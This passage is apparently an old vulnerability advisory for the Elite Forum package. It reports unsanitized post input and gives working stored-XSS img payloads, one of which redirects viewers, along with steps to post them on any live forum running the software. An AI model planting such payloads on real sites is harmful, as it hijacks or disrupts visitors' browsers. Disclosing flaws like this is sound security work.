support (both topics and posts user definable),

Selectable time offset, Ability to auto check for updates/patches, Clean and
streamlined design, Smiley Support, BB Code and

auto url support, Topic status icons, Member and Guest user levels, Members
can edit or delete their posts, Secure accounts,

Add or remove admins via administrator panel, Admins can edit/delete any
post or topic.

Support Website :<>(Down
at the time of Bug Discovery)


The system is vulnerable to Cross Site Scripting attacks. This issue is due
to a failure of the application to properly

sanitize user-supplied input.


First find a forum running the Elite Forum package. Then click on a topic
and then Post Reply. In the message box add any of

the following codes. Here are some examples:

<img src="javascript:void(window.location=('imagelink'))"> - Replace the
imagelink with the link to the image you want to

redirect the users viewing the topic containing this code.

<img src="javascript:a=100;while(a>=0){alert(a);a--}">

<img src="javascript:a=1;while(a>0){alert("sup?")">


The support site is down and no vendor contact could be found.


No fix available as of date.
